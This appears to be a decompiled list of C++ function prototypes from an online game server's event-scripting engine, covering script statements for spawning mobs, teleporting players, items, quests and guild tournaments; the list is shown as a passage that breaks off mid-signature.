PineEventScriptNode::ShineAbstatSet::ShineAbstatSet(PineEventScriptNode::ShineAbstatSet *this); void __thiscall PineEventScriptNode::ShineAbstatReset::ShineAbstatReset(PineEventScriptNode::ShineAbstatReset *this); void __thiscall PineEventScriptNode::ShineSuicide::ShineSuicide(PineEventScriptNode::ShineSuicide *this); void __thiscall PineEventScriptNode::ShineRun::ShineRun(PineEventScriptNode::ShineRun *this); void __thiscall PineEventScriptNode::ShineWalk::ShineWalk(PineEventScriptNode::ShineWalk *this); void __thiscall PineEventScriptNode::ShineMapLight::ShineMapLight(PineEventScriptNode::ShineMapLight *this); void __thiscall PineEventScriptNode::ShineMapFog::ShineMapFog(PineEventScriptNode::ShineMapFog *this); void __thiscall PineEventScriptNode::ShineEffectObject::ShineEffectObject(PineEventScriptNode::ShineEffectObject *this); void __thiscall PineEventScriptNode::ShineEffectLocate::ShineEffectLocate(PineEventScriptNode::ShineEffectLocate *this); void __thiscall PineEventScriptNode::ShineAggro::ShineAggro(PineEventScriptNode::ShineAggro *this); void __thiscall PineEventScriptNode::ShineMobWeaponRate::ShineMobWeaponRate(PineEventScriptNode::ShineMobWeaponRate *this); void __thiscall PineEventScriptNode::ShineMobDetectRange::ShineMobDetectRange(PineEventScriptNode::ShineMobDetectRange *this); void __thiscall PineEventScriptNode::ShineHeal::ShineHeal(PineEventScriptNode::ShineHeal *this); void __thiscall PineEventScriptNode::ShineAnimate::ShineAnimate(PineEventScriptNode::ShineAnimate *this); void __thiscall PineEventScriptNode::ShineDuplicate::ShineDuplicate(PineEventScriptNode::ShineDuplicate *this); void __thiscall PineEventScriptNode::ShineWaitIdle::ShineWaitIdle(PineEventScriptNode::ShineWaitIdle *this); void __thiscall PineEventScriptNode::ShineDeathCountClear::ShineDeathCountClear(PineEventScriptNode::ShineDeathCountClear *this); void __thiscall PineEventScriptNode::ShineItemAttrSet::ShineItemAttrSet(PineEventScriptNode::ShineItemAttrSet *this); void __thiscall PineEventScriptNode::ShineScinarioCode::ShineScinarioCode(PineEventScriptNode::ShineScinarioCode *this); void __thiscall PineEventScriptNode::ShineBattleStart::ShineBattleStart(PineEventScriptNode::ShineBattleStart *this); void __thiscall PineEventScriptNode::ShineBattleStop::ShineBattleStop(PineEventScriptNode::ShineBattleStop *this); void __thiscall PineEventScriptNode::ShineSendKQResult::ShineSendKQResult(PineEventScriptNode::ShineSendKQResult *this); void __thiscall PineEventScriptNode::ShineInvidualReward::ShineInvidualReward(PineEventScriptNode::ShineInvidualReward *this); void __thiscall PineEventScriptNode::ShineReturnValue::ShineReturnValue(PineEventScriptNode::ShineReturnValue *this); void __thiscall PineEventScriptNode::ShineSubLayerShift::ShineSubLayerShift(PineEventScriptNode::ShineSubLayerShift *this); void __thiscall PineEventScriptNode::ShineTeleport::ShineTeleport(PineEventScriptNode::ShineTeleport *this); void __thiscall PineEventScriptNode::ShineItemOwner::ShineItemOwner(PineEventScriptNode::ShineItemOwner *this); void __thiscall PineEventScriptNode::ShineMobAttribute::ShineMobAttribute(PineEventScriptNode::ShineMobAttribute *this); void __thiscall PineEventScriptNode::ShineObjectCollect::ShineObjectCollect(PineEventScriptNode::ShineObjectCollect *this); void __thiscall PineEventScriptNode::ShineEndOfKingdomQuest::ShineEndOfKingdomQuest(PineEventScriptNode::ShineEndOfKingdomQuest *this); void __thiscall PineEventScriptNode::ShineEndOfGuildTournament::ShineEndOfGuildTournament(PineEventScriptNode::ShineEndOfGuildTournament *this); void __thiscall PineEventScriptNode::ShineGuildTorunamentResult::ShineGuildTorunamentResult(PineEventScriptNode::ShineGuildTorunamentResult *this); void __thiscall PineEventScriptNode::ShineCostumeCreate::ShineCostumeCreate(PineEventScriptNode::ShineCostumeCreate *this); void __thiscall PineEventScriptNode::ShineCostumeTakeOff::ShineCostumeTakeOff(PineEventScriptNode::ShineCostumeTakeOff *this); void __thiscall PineEventScriptNode::ShineWeddingComplete::ShineWeddingComplete(PineEventScriptNode::ShineWeddingComplete *this); void __thiscall PineEventScriptNode::ShinePlayerWalk::ShinePlayerWalk(PineEventScriptNode::ShinePlayerWalk *this); void __thiscall PineEventScriptNode::ShineFindPlayer::ShineFindPlayer(PineEventScriptNode::ShineFindPlayer *this); void __thiscall PineEventScriptNode::ShineTeleportAll::ShineTeleportAll(PineEventScriptNode::ShineTeleportAll *this); void __thiscall PineEventScriptNode::ShineBriefEffect::ShineBriefEffect(PineEventScriptNode::ShineBriefEffect *this); void __thiscall PineEventScriptNode::ShineBanFromArea::ShineBanFromArea(PineEventScriptNode::ShineBanFromArea *this); void __thiscall PineEventScriptNode::ShineRegesteFlag::ShineRegesteFlag(PineEventScriptNode::ShineRegesteFlag *this); void __thiscall PineEventScriptNode::ShineRegesteGate::ShineRegesteGate(PineEventScriptNode::ShineRegesteGate *this); void __thiscall PineEventScriptNode::ShineDiceGameStart::ShineDiceGameStart(PineEventScriptNode::ShineDiceGameStart *this); void __thiscall PineEventScriptNode::ShineRevival::ShineRevival(PineEventScriptNode::ShineRevival *this); void __thiscall PineEventScriptNode::ShineSpawn::ShineSpawn(PineEventScriptNode::ShineSpawn *this); void __thiscall PineEventScriptNode::ShineHPSet::ShineHPSet(PineEventScriptNode::ShineHPSet *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePrintf::sb_CloneMe(PineEventScriptNode::ShinePrintf *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineScriptFile::sb_CloneMe(PineEventScriptNode::ShineScriptFile *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTimeLimit::sb_CloneMe(PineEventScriptNode::ShineTimeLimit *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptClear::sb_CloneMe(PineEventScriptNode::ShineInterruptClear *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptSet::sb_CloneMe(PineEventScriptNode::ShineInterruptSet *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptErase::sb_CloneMe(PineEventScriptNode::ShineInterruptErase *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitInterrupt::sb_CloneMe(PineEventScriptNode::ShineWaitInterrupt *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobRegen::sb_CloneMe(PineEventScriptNode::ShineMobRegen *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorBuild::sb_CloneMe(PineEventScriptNode::ShineDoorBuild *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCStand::sb_CloneMe(PineEventScriptNode::ShineNPCStand *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2Mob::sb_CloneMe(PineEventScriptNode::ShineChange2Mob *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2Door::sb_CloneMe(PineEventScriptNode::ShineChange2Door *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2NPC::sb_CloneMe(PineEventScriptNode::ShineChange2NPC *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineExchange2Mob::sb_CloneMe(PineEventScriptNode::ShineExchange2Mob *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorOpen::sb_CloneMe(PineEventScriptNode::ShineDoorOpen *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorClose::sb_CloneMe(PineEventScriptNode::ShineDoorClose *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineObjectVanish::sb_CloneMe(PineEventScriptNode::ShineObjectVanish *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegenGroup::sb_CloneMe(PineEventScriptNode::ShineRegenGroup *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitUserLogin::sb_CloneMe(PineEventScriptNode::ShineWaitUserLogin *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePause::sb_CloneMe(PineEventScriptNode::ShinePause *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCChat::sb_CloneMe(PineEventScriptNode::ShineNPCChat *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCShout::sb_CloneMe(PineEventScriptNode::ShineNPCShout *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChatWindow::sb_CloneMe(PineEventScriptNode::ShineChatWindow *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChatWindowRange::sb_CloneMe(PineEventScriptNode::ShineChatWindowRange *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSomeoneShout::sb_CloneMe(PineEventScriptNode::ShineSomeoneShout *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSummonMob::sb_CloneMe(PineEventScriptNode::ShineSummonMob *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineQuestResult::sb_CloneMe(PineEventScriptNode::ShineQuestResult *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineReward::sb_CloneMe(PineEventScriptNode::ShineReward *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBroadcast::sb_CloneMe(PineEventScriptNode::ShineBroadcast *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineLinkTo::sb_CloneMe(PineEventScriptNode::ShineLinkTo *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemDrop::sb_CloneMe(PineEventScriptNode::ShineItemDrop *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWhoClickMe::sb_CloneMe(PineEventScriptNode::ShineWhoClickMe *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWhoKillMe::sb_CloneMe(PineEventScriptNode::ShineWhoKillMe *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvenSearch::sb_CloneMe(PineEventScriptNode::ShineInvenSearch *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemCreate::sb_CloneMe(PineEventScriptNode::ShineItemCreate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemErase::sb_CloneMe(PineEventScriptNode::ShineItemErase *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineFindHandle::sb_CloneMe(PineEventScriptNode::ShineFindHandle *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAbstatSet::sb_CloneMe(PineEventScriptNode::ShineAbstatSet *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAbstatReset::sb_CloneMe(PineEventScriptNode::ShineAbstatReset *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSuicide::sb_CloneMe(PineEventScriptNode::ShineSuicide *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRun::sb_CloneMe(PineEventScriptNode::ShineRun *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWalk::sb_CloneMe(PineEventScriptNode::ShineWalk *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMapLight::sb_CloneMe(PineEventScriptNode::ShineMapLight *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMapFog::sb_CloneMe(PineEventScriptNode::ShineMapFog *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEffectObject::sb_CloneMe(PineEventScriptNode::ShineEffectObject *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEffectLocate::sb_CloneMe(PineEventScriptNode::ShineEffectLocate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAggro::sb_CloneMe(PineEventScriptNode::ShineAggro *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobWeaponRate::sb_CloneMe(PineEventScriptNode::ShineMobWeaponRate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobDetectRange::sb_CloneMe(PineEventScriptNode::ShineMobDetectRange *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineHeal::sb_CloneMe(PineEventScriptNode::ShineHeal *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineAnimate::sb_CloneMe(PineEventScriptNode::ShineAnimate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDuplicate::sb_CloneMe(PineEventScriptNode::ShineDuplicate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitIdle::sb_CloneMe(PineEventScriptNode::ShineWaitIdle *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDeathCountClear::sb_CloneMe(PineEventScriptNode::ShineDeathCountClear *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemAttrSet::sb_CloneMe(PineEventScriptNode::ShineItemAttrSet *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineScinarioCode::sb_CloneMe(PineEventScriptNode::ShineScinarioCode *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBattleStart::sb_CloneMe(PineEventScriptNode::ShineBattleStart *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBattleStop::sb_CloneMe(PineEventScriptNode::ShineBattleStop *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSendKQResult::sb_CloneMe(PineEventScriptNode::ShineSendKQResult *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvidualReward::sb_CloneMe(PineEventScriptNode::ShineInvidualReward *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineReturnValue::sb_CloneMe(PineEventScriptNode::ShineReturnValue *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSubLayerShift::sb_CloneMe(PineEventScriptNode::ShineSubLayerShift *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTeleport::sb_CloneMe(PineEventScriptNode::ShineTeleport *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineItemOwner::sb_CloneMe(PineEventScriptNode::ShineItemOwner *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobAttribute::sb_CloneMe(PineEventScriptNode::ShineMobAttribute *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineObjectCollect::sb_CloneMe(PineEventScriptNode::ShineObjectCollect *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfKingdomQuest::sb_CloneMe(PineEventScriptNode::ShineEndOfKingdomQuest *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfGuildTournament::sb_CloneMe(PineEventScriptNode::ShineEndOfGuildTournament *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineGuildTorunamentResult::sb_CloneMe(PineEventScriptNode::ShineGuildTorunamentResult *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineCostumeCreate::sb_CloneMe(PineEventScriptNode::ShineCostumeCreate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineCostumeTakeOff::sb_CloneMe(PineEventScriptNode::ShineCostumeTakeOff *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWeddingComplete::sb_CloneMe(PineEventScriptNode::ShineWeddingComplete *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePlayerWalk::sb_CloneMe(PineEventScriptNode::ShinePlayerWalk *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineFindPlayer::sb_CloneMe(PineEventScriptNode::ShineFindPlayer *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTeleportAll::sb_CloneMe(PineEventScriptNode::ShineTeleportAll *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBriefEffect::sb_CloneMe(PineEventScriptNode::ShineBriefEffect *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBanFromArea::sb_CloneMe(PineEventScriptNode::ShineBanFromArea *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegesteFlag::sb_CloneMe(PineEventScriptNode::ShineRegesteFlag *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegesteGate::sb_CloneMe(PineEventScriptNode::ShineRegesteGate *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDiceGameStart::sb_CloneMe(PineEventScriptNode::ShineDiceGameStart *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRevival::sb_CloneMe(PineEventScriptNode::ShineRevival *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSpawn::sb_CloneMe(PineEventScriptNode::ShineSpawn *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineHPSet::sb_CloneMe(PineEventScriptNode::ShineHPSet *this); void __thiscall ScriptBriefMaker::sbr_RandomShape(ScriptBriefMaker *this, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *buf); PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *__thiscall ScriptBriefMaker::sbr_MakeBeggar(ScriptBriefMaker *this, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *buf); void __thiscall AxialListKQReward::AxialListKQReward(AxialListKQReward *this, unsigned int kq); void __thiscall AxialListKQReward::_AxialListKQReward(AxialListKQReward *this); char __thiscall AxialListKQReward::ali_Work(AxialListKQReward *this, #325 *, #325 *, unsigned int); void __thiscall AxialListKQEnd::_AxialListKQEnd(AxialListKQEnd *this); void __thiscall AxialListLinkTo::AxialListLinkTo(AxialListLinkTo *this, NPCManager::LinkInformTemplete *lnkinf); void __thiscall AxialListLinkTo::_AxialListLinkTo(AxialListLinkTo *this); char __thiscall AxialListLinkTo::ali_Work(AxialListLinkTo *this, #325 *, #325 *, unsigned int); void __thiscall AxialListLinkToByObserver::AxialListLinkToByObserver(AxialListLinkToByObserver *this, NPCManager::LinkInformTemplete *lnkinf); void __thiscall AxialListLinkToByObserver::_AxialListLinkToByObserver(AxialListLinkToByObserver *this); char __thiscall AxialListLinkToByObserver::ali_Work(AxialListLinkToByObserver *this, #325 *, #325 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShinePrintf::sa_Step(PineEventScriptNode::ShinePrintf *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall AxialListMobVanish::_AxialListMobVanish(AxialListMobVanish *this); void __thiscall AxialListItemErase4All::_AxialListItemErase4All(AxialListItemErase4All *this); void __thiscall AxialListMobStateSet::AxialListMobStateSet(AxialListMobStateSet *this, unsigned __int16 mobid, ABSTATEINDEX abstateidx, int strength, AbnormalStateDictionary::AbState::AbStateStr *dic, int keeptime); void __thiscall AxialListMobStateSet::_AxialListMobStateSet(AxialListMobStateSet *this); void __thiscall AxialListMobStateSet::almss_AbStateSet(AxialListMobStateSet *this, #325 *obj); void __thiscall AxialListPlayerStateSet::_AxialListPlayerStateSet(AxialListPlayerStateSet *this); void __thiscall AxialListPlayerStateSet::AxialListPlayerStateSet(AxialListPlayerStateSet *this, ABSTATEINDEX abstateidx, int strength, AbnormalStateDictionary::AbState::AbStateStr *dic, int keeptime); void __thiscall AxialListPlayerStateSet::alpss_AbStateSet(AxialListPlayerStateSet *this, #325 *obj); void __thiscall AxialListTeleport::_AxialListTeleport(AxialListTeleport *this); char __thiscall AxialListTeleport::ali_Work(AxialListTeleport *this, #325 *, #325 *, unsigned int); void __thiscall AxialListTeleportAnywhere::_AxialListTeleportAnywhere(AxialListTeleportAnywhere *this); char __thiscall AxialListTeleportAnywhere::ali_Work(AxialListTeleportAnywhere *this, #325 *, #325 *, unsigned int); void __thiscall AxialListCount2::AxialListCount2(AxialListCount2 *this); void __thiscall AxialListCount2::_AxialListCount2(AxialListCount2 *this); char __thiscall AxialListCount2::ali_Work(AxialListCount2 *this, #325 *, #325 *, unsigned int); void __thiscall AxialListTeleportSplit::AxialListTeleportSplit(AxialListTeleportSplit *this, int NumOfPlayer, SHINE_XY_TYPE *Position, SHINE_XY_TYPE *Position2); void __thiscall AxialListTeleportSplit::_AxialListTeleportSplit(AxialListTeleportSplit *this); char __thiscall AxialListTeleportSplit::ali_Work(AxialListTeleportSplit *this, #325 *, #325 *, unsigned int); void __thiscall AxialListFindItemOwner::AxialListFindItemOwner(AxialListFindItemOwner *this, unsigned __int16 itmid, PineScriptToken *delimiter, PineScriptToken *result); void __thiscall AxialListFindItemOwner::_AxialListFindItemOwner(AxialListFindItemOwner *this); char __thiscall AxialListFindItemOwner::ali_Work(AxialListFindItemOwner *this, #325 *, #325 *, unsigned int); void __thiscall AxialListObjectCollector::_AxialListObjectCollector(AxialListObjectCollector *this); void __thiscall AxialListGTEnd::_AxialListGTEnd(AxialListGTEnd *this); char __thiscall AxialListGTEnd::ali_Work(AxialListGTEnd *this, #325 *, #325 *, unsigned int); void __thiscall AxialListBanArea::AxialListBanArea(AxialListBanArea *this, Name8 *banarea, #585 *map, Name3 *towhere, int tox, int toy); void __thiscall AxialListBanArea::_AxialListBanArea(AxialListBanArea *this); void __thiscall AxialListRevival::_AxialListRevival(AxialListRevival *this); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::GTMobRegenKey *this); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::RegisterGTPortal *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::HasAbstate *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::BroadcastCode *this, unsigned int); void *__thiscall PineEventScriptNode::GTRegisterNPC::_scalar_deleting_destructor_(PineEventScriptNode::GTRegisterNPC *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::GTMobRegenKey *this, unsigned int); void __thiscall Movie::Theater::t_MapGuildBattle(Movie::Theater *this, unsigned int a, unsigned int b); void __thiscall Movie::Theater::t_MapPKFlag(Movie::Theater *this, char flag); #325 *__thiscall PineEventScriptNode::OtherStatement::os_ShineObject(PineEventScriptNode::OtherStatement *this, PineScriptStack::ProcessStack *ps); unsigned __int16 __thiscall PineEventScriptNode::StatePermillage::sa_Step(PineEventScriptNode::StatePermillage *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListKQEnd::ali_Work(AxialListKQEnd *this, #325 *, #325 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineScriptFile::sa_Step(PineEventScriptNode::ShineScriptFile *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineTimeLimit::sa_Step(PineEventScriptNode::ShineTimeLimit *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptSet::sa_Step(PineEventScriptNode::ShineInterruptSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptErase::sa_Step(PineEventScriptNode::ShineInterruptErase *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWaitInterrupt::sa_Step(PineEventScriptNode::ShineWaitInterrupt *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::OtherStatement::os_ObjectChange(PineEventScriptNode::OtherStatement *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip, #325 *obj, unsigned __int16 mobhnd); unsigned __int16 __thiscall PineEventScriptNode::ShineChange2Mob::sa_Step(PineEventScriptNode::ShineChange2Mob *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineChange2Door::sa_Step(PineEventScriptNode::ShineChange2Door *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineChange2NPC::sa_Step(PineEventScriptNode::ShineChange2NPC *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineExchange2Mob::sa_Step(PineEventScriptNode::ShineExchange2Mob *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDoorOpen::sa_Step(PineEventScriptNode::ShineDoorOpen *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDoorClose::sa_Step(PineEventScriptNode::ShineDoorClose *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __cdecl AxialListMobVanish::almv_Vanish(#325 *obj); char __thiscall AxialListMobVanish::ali_Work(AxialListMobVanish *this, #325 *, #325 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineObjectVanish::sa_Step(PineEventScriptNode::ShineObjectVanish *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineRegenGroup::sa_Step(PineEventScriptNode::ShineRegenGroup *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWaitUserLogin::sa_Step(PineEventScriptNode::ShineWaitUserLogin *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShinePause::sa_Step(PineEventScriptNode::ShinePause *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineNPCChat::sa_Step(PineEventScriptNode::ShineNPCChat *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineNPCShout::sa_Step(PineEventScriptNode::ShineNPCShout *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSomeoneShout::sa_Step(PineEventScriptNode::ShineSomeoneShout *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSummonMob::sa_Step(PineEventScriptNode::ShineSummonMob *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineQuestResult::sa_Step(PineEventScriptNode::ShineQuestResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineReward::sa_Step(PineEventScriptNode::ShineReward *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBroadcast::sa_Step(PineEventScriptNode::ShineBroadcast *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineLinkTo::sa_Step(PineEventScriptNode::ShineLinkTo *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineItemDrop::sa_Step(PineEventScriptNode::ShineItemDrop *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWhoClickMe::sa_Step(PineEventScriptNode::ShineWhoClickMe *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListItemErase4All::ali_Work(AxialListItemErase4All *this, #325 *, #325 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineItemErase::sa_Step(PineEventScriptNode::ShineItemErase *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineItemCreate::sa_Step(PineEventScriptNode::ShineItemCreate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInvenSearch::sa_Step(PineEventScriptNode::ShineInvenSearch *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineFindHandle::sa_Step(PineEventScriptNode::ShineFindHandle *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListMobStateSet::ali_Work(AxialListMobStateSet *this, #325 *, #325 *, unsigned int); char __thiscall AxialListPlayerStateSet::ali_Work(AxialListPlayerStateSet *this, #325 *, #325 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineAbstatSet::sa_Step(PineEventScriptNode::ShineAbstatSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineAbstatReset::sa_Step(PineEventScriptNode::ShineAbstatReset *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall AxialListMobSuicide::alms_SelfKill(AxialListMobSuicide *this, #325 *obj); char __thiscall AxialListMobSuicide::ali_Work(AxialListMobSuicide *this, #325 *, #325 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineSuicide::sa_Step(PineEventScriptNode::ShineSuicide *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineRun::sa_Step(PineEventScriptNode::ShineRun *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWalk::sa_Step(PineEventScriptNode::ShineWalk *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMapLight::sa_Step(PineEventScriptNode::ShineMapLight *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMapFog::sa_Step(PineEventScriptNode::ShineMapFog *this, int 